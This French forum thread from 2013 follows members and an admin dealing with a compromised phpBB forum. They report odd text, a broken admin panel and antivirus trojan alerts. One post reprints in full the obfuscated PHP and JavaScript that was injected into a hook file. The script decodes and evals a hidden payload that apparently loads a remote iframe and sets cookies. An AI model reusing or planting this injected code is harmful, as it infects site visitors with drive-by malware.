Page 1 sur 3

Bug

Posté : 29 août 2013, 18:12
par tam-tam
J'ai d'étranges lignes de texte en haut de l'écran.
Et je n'arrive plus à accéder au menu des admins. (du coup je ne peux plus fouetter les bots)
Ca n'a pas l'air très catholique tout ça.
Ca le fait pareil avec vous?

Re: Bug

Posté : 01 sept. 2013, 10:23
par Toon
WOuhou ca remarche merci super Greg !

pour ceux qui ne savaient pas: on a pu communiquer par ce biais en attendant: https://www.facebook.com/groups/421724697860508/

Re: Bug

Posté : 01 sept. 2013, 10:23
par Gregor
le 29/08/2013 du code s'est inscrit en footer sur le fichier forum/includes/hooks/index.php j'ai viré ce code bizarre et tout est rentré dans l'ordre

maintenant bug ou hack ?

Re: Bug

Posté : 01 sept. 2013, 12:09
par tam-tam
Génial tout est rentré dans l'ordre!
Merci Gregor!

Re: Bug

Posté : 01 sept. 2013, 12:46
par Gregor
le panneau d'admin merdouille encore mais je m'en occuperais demain

Re: Bug

Posté : 01 sept. 2013, 13:22
par Toon
Gregor Herbert Clegane a écrit :le 29/08/2013 du code s'est inscrit en footer sur le fichier forum/includes/hooks/index.php j'ai viré ce code bizarre et tout est rentré dans l'ordre
maintenant bug ou hack ?
Ets-ce le code bizzare était "cohérent" ou bien il s'agissait de lignes qui ne faisait que faire déborder la taille du fichier php a + de 250 lignes ?
est-ce qu'un programme pourrait automatiquemeent insérer du code dans un fichier php ?

Re: Bug

Posté : 01 sept. 2013, 14:11
par Gregor
voilà ce qui avait été rajouté après ?>
#74ed9f#
if(empty($xts)) { $xts = " <script type=\"text/javascript\" language=\"javascript\" > pqo=\"y\";kyhf=\"d\"+\"o\"+\"c\"+\"ument\";try{+function(){if(document.querySelector)++(window[kyhf].body)==null}()}catch(fkpifk){fzmsj=function(wvksp){wvksp=\"fr\"+\"omCh\"+wvksp;for(gycbuy=0;gycbuy<pqo.length;gycbuy++){bay+=String[wvksp](bzr(ezm+(pqo[gycbuy]))-(102));}};};bzr=(eval);ezm=\"0x\";ulqx=0;try{;}catch(ebuvo){ulqx=1}if(!ulqx){try{++bzr(kyhf)[\"\x62o\"+\"d\"+pqo]}catch(fkpifk){wvb=\"^\";}pqo=\"86^cc^db^d4^c9^da^cf^d5^d4^86^d5^cf^e0^e0^96^9f^8e^8f^86^e1^73^70^86^dc^c7^d8^86^d9^da^c7^da^cf^c9^a3^8d^c7^d0^c7^de^8d^a1^73^70^86^dc^c7^d8^86^c9^d5^d4^da^d8^d5^d2^d2^cb^d8^a3^8d^cf^d4^ca^cb^de^94^d6^ce^d6^8d^a1^73^70^86^dc^c7^d8^86^d5^cf^e0^e0^86^a3^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d8^cb^c7^da^cb^ab^d2^cb^d3^cb^d4^da^8e^8d^cf^cc^d8^c7^d3^cb^8d^8f^a1^73^70^73^70^86^d5^cf^e0^e0^94^d9^d8^c9^86^a3^86^8d^ce^da^da^d6^a0^95^95^c7^d4^ca^cb^d8^d9^d5^d4^d2^c7^dd^d6^d2^d2^c9^94^c9^d5^d3^95^de^b3^da^bd^bc^d4^b7^99^94^d6^ce^d6^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^d6^d5^d9^cf^da^cf^d5^d4^86^a3^86^8d^c7^c8^d9^d5^d2^db^da^cb^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^c9^d5^d2^d5^d8^86^a3^86^8d^99^9f^9e^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^ce^cb^cf^cd^ce^da^86^a3^86^8d^99^9f^9e^d6^de^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^dd^cf^ca^da^ce^86^a3^86^8d^99^9f^9e^d6^de^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^d2^cb^cc^da^86^a3^86^8d^97^96^96^96^99^9f^9e^8d^a1^73^70^86^d5^cf^e0^e0^94^d9^da^df^d2^cb^94^da^d5^d6^86^a3^86^8d^97^96^96^96^99^9f^9e^8d^a1^73^70^73^70^86^cf^cc^86^8e^87^ca^d5^c9^db^d3^cb^d4^da^94^cd^cb^da^ab^d2^cb^d3^cb^d4^da^a8^df^af^ca^8e^8d^d5^cf^e0^e0^8d^8f^8f^86^e1^73^70^86^ca^d5^c9^db^d3^cb^d4^da^94^dd^d8^cf^da^cb^8e^8d^a2^d6^86^cf^ca^a3^c2^8d^d5^cf^e0^e0^c2^8d^86^c9^d2^c7^d9^d9^a3^c2^8d^d5^cf^e0^e0^96^9f^c2^8d^86^a4^a2^95^d6^a4^8d^8f^a1^73^70^86^ca^d5^c9^db^d3^cb^d4^da^94^cd^cb^da^ab^d2^cb^d3^cb^d4^da^a8^df^af^ca^8e^8d^d5^cf^e0^e0^8d^8f^94^c7^d6^d6^cb^d4^ca^a9^ce^cf^d2^ca^8e^d5^cf^e0^e0^8f^a1^73^70^86^e3^73^70^e3^73^70^cc^db^d4^c9^da^cf^d5^d4^86^b9^cb^da^a9^d5^d5^d1^cf^cb^8e^c9^d5^d5^d1^cf^cb^b4^c7^d3^cb^92^c9^d5^d5^d1^cf^cb^bc^c7^d2^db^cb^92^d4^aa^c7^df^d9^92^d6^c7^da^ce^8f^86^e1^73^70^86^dc^c7^d8^86^da^d5^ca^c7^df^86^a3^86^d4^cb^dd^86^aa^c7^da^cb^8e^8f^a1^73^70^86^dc^c7^d8^86^cb^de^d6^cf^d8^cb^86^a3^86^d4^cb^dd^86^aa^c7^da^cb^8e^8f^a1^73^70^86^cf^cc^86^8e^d4^aa^c7^df^d9^a3^a3^d4^db^d2^d2^86^e2^e2^86^d4^aa^c7^df^d9^a3^a3^96^8f^86^d4^aa^c7^df^d9^a3^97^a1^73^70^86^cb^de^d6^cf^d8^cb^94^d9^cb^da^ba^cf^d3^cb^8e^da^d5^ca^c7^df^94^cd^cb^da^ba^cf^d3^cb^8e^8f^86^91^86^99^9c^96^96^96^96^96^90^98^9a^90^d4^aa^c7^df^d9^8f^a1^73^70^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^86^a3^86^c9^d5^d5^d1^cf^cb^b4^c7^d3^cb^91^88^a3^88^91^cb^d9^c9^c7^d6^cb^8e^c9^d5^d5^d1^cf^cb^bc^c7^d2^db^cb^8f^73^70^86^91^86^88^a1^cb^de^d6^cf^d8^cb^d9^a3^88^86^91^86^cb^de^d6^cf^d8^cb^94^da^d5^ad^b3^ba^b9^da^d8^cf^d4^cd^8e^8f^86^91^86^8e^8e^d6^c7^da^ce^8f^86^a5^86^88^a1^86^d6^c7^da^ce^a3^88^86^91^86^d6^c7^da^ce^86^a0^86^88^88^8f^a1^73^70^e3^73^70^cc^db^d4^c9^da^cf^d5^d4^86^ad^cb^da^a9^d5^d5^d1^cf^cb^8e^86^d4^c7^d3^cb^86^8f^86^e1^73^70^86^dc^c7^d8^86^d9^da^c7^d8^da^86^a3^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^94^cf^d4^ca^cb^de^b5^cc^8e^86^d4^c7^d3^cb^86^91^86^88^a3^88^86^8f^a1^73^70^86^dc^c7^d8^86^d2^cb^d4^86^a3^86^d9^da^c7^d8^da^86^91^86^d4^c7^d3^cb^94^d2^cb^d4^cd^da^ce^86^91^86^97^a1^73^70^86^cf^cc^86^8e^86^8e^86^87^d9^da^c7^d8^da^86^8f^86^8c^8c^73^70^86^8e^86^d4^c7^d3^cb^86^87^a3^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^94^d9^db^c8^d9^da^d8^cf^d4^cd^8e^86^96^92^86^d4^c7^d3^cb^94^d2^cb^d4^cd^da^ce^86^8f^86^8f^86^8f^73^70^86^e1^73^70^86^d8^cb^da^db^d8^d4^86^d4^db^d2^d2^a1^73^70^86^e3^73^70^86^cf^cc^86^8e^86^d9^da^c7^d8^da^86^a3^a3^86^93^97^86^8f^86^d8^cb^da^db^d8^d4^86^d4^db^d2^d2^a1^73^70^86^dc^c7^d8^86^cb^d4^ca^86^a3^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^94^cf^d4^ca^cb^de^b5^cc^8e^86^88^a1^88^92^86^d2^cb^d4^86^8f^a1^73^70^86^cf^cc^86^8e^86^cb^d4^ca^86^a3^a3^86^93^97^86^8f^86^cb^d4^ca^86^a3^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^94^d2^cb^d4^cd^da^ce^a1^73^70^86^d8^cb^da^db^d8^d4^86^db^d4^cb^d9^c9^c7^d6^cb^8e^86^ca^d5^c9^db^d3^cb^d4^da^94^c9^d5^d5^d1^cf^cb^94^d9^db^c8^d9^da^d8^cf^d4^cd^8e^86^d2^cb^d4^92^86^cb^d4^ca^86^8f^86^8f^a1^73^70^e3^73^70^cf^cc^86^8e^d4^c7^dc^cf^cd^c7^da^d5^d8^94^c9^d5^d5^d1^cf^cb^ab^d4^c7^c8^d2^cb^ca^8f^73^70^e1^73^70^cf^cc^8e^ad^cb^da^a9^d5^d5^d1^cf^cb^8e^8d^dc^cf^d9^cf^da^cb^ca^c5^db^d7^8d^8f^a3^a3^9b^9b^8f^e1^e3^cb^d2^d9^cb^e1^b9^cb^da^a9^d5^d5^d1^cf^cb^8e^8d^dc^cf^d9^cf^da^cb^ca^c5^db^d7^8d^92^86^8d^9b^9b^8d^92^86^8d^97^8d^92^86^8d^95^8d^8f^a1^73^70^73^70^d5^cf^e0^e0^96^9f^8e^8f^a1^73^70^e3^73^70^e3\".split(wvb);bay=\"\";fzmsj(\"arCode\");bzr(\"\"+bay);}</script> "; echo $xts; }
#/74ed9f#

Re: Bug

Posté : 01 sept. 2013, 14:42
par Albéric
Ouf, j'ai eu peur que sonne le glas...

Re: Bug

Posté : 01 sept. 2013, 15:09
par Toon
tain qu'est-ce que c'est que cette portion de code inbitable...

pour info regardez ce que j'ai trouvé la -> http://www.wordpress-fr.net/support/vie ... p?id=86370

Re: Bug

Posté : 01 sept. 2013, 15:52
par Gregor
Albéric a écrit :Ouf, j'ai eu peur que sonne le glas...
même si on est un hacké un jour on remontera le truc à partir de la dernière svg, bon on peut perdre quelques semaines ou mois de posts mais on repartira jamais de rien

Re: Bug

Posté : 02 sept. 2013, 07:41
par tam-tam
Juste pour info il y a encore du code bizzare qui apparaît dans le panneau de contrôle de l'utilisateur.

Re: Bug

Posté : 02 sept. 2013, 10:34
par Gregor
ok exact

la page d’accueil est réparée (ce qui ne fut pas une mince affaire)

maintenant le bug touche un peu le site / wordpress

ça sent le hack quand même tout ça

Re: Bug

Posté : 02 sept. 2013, 11:01
par tam-tam
Eh ben c'est vraiment pas marrant tout ça. Heureusement que tu es là pour veiller au grain.
Maintenant reste les questions du qui et du pourquoi.

Re: Bug

Posté : 02 sept. 2013, 13:06
par Darkstar
Boah, ça peut taper au hasard, y'a pas de règle. Non ? :mrgreen:

Re: Bug

Posté : 02 sept. 2013, 15:01
par tam-tam
Ou alors on devient trop populaires! C'est une machination montée par les autres forums SF/Fantasy pour tenter de nous réduire au silence!^^

Re: Bug

Posté : 02 sept. 2013, 15:11
par Gregor
le panneau de contrôle c'est réparé. Par contre sur le site j'arrive pas à trouver le fichier infecté.

On a pas été ciblé spécialement, c'est plein de sites qui ont été touchés. Que des wordpress et des phpBB surement.

Re: Bug

Posté : 03 sept. 2013, 08:38
par Gregor
bon quelques fichiers sont vérolés dans le panneau d'admin sans en empecher le bon fonctionnement mais du coup je peux pas supprimer les bots car mon antivirus panique :lawbreaker:

Re: Bug

Posté : 03 sept. 2013, 19:59
par Toon
Quand je veux renter dans le panneau de l'admin, j'ai Avast qui me dit qu'il a bloqué un cheval de troie. Si ya un truc comme ca dans un fichier php ca pue le hack à plein nez !

Re: Bug

Posté : 03 sept. 2013, 21:06
par Gregor
oui mais je pense que les fichiers ont du code pourri mais avast m'empeche de réparer ça

Re: Bug

Posté : 04 sept. 2013, 11:14
par Cymoril
Pour moi, il ne se passe rien (et j'ai Bitdefender pourtant), du coup je peux fracasser du bot à tour de bras. :P

EDIT : J'ai parlé trop vite. Mon antivirus était désactivé. Ça bloque aussi pour moi.

Image

Re: Bug

Posté : 04 sept. 2013, 13:13
par tam-tam
Aucun pb de connexion à l'admin ni du boulot ni chez moi.
Du coup je vais vérifier ce soir si l'anti-virus est bien activé... :blink: :unsure:

Re: Bug

Posté : 04 sept. 2013, 13:47
par Gregor
nan nan ne vérifie pas faut bien quelqu'un pour supprimer les bots :D

Re: Bug

Posté : 04 sept. 2013, 18:35
par Toon
Gregor Herbert Clegane a écrit :nan nan ne vérifie pas faut bien quelqu'un pour supprimer les bots :D
:lol: :lol: :lol:

Tam tu es bien notre dernier rempart ! :paladin:

Re: Bug

Posté : 04 sept. 2013, 21:15
par tam-tam
LOL!

Ben fait je suis en train de télécharger Avast là parce que visiblement mon antivirus était stylé façon passoire.
Mais pas de souci pour les bots, au boulot ça marche toujours...

Re: Bug

Posté : 05 sept. 2013, 10:16
par tam-tam
Bon alors effectivement depuis que j'ai avast, je ne peux plus acceder à l'admin.
Avant j'avais microsoft security mais il n'était visiblement pas au niveau. Avast m'a détecté 11 fichiers infectés dont 2 trojans :blink: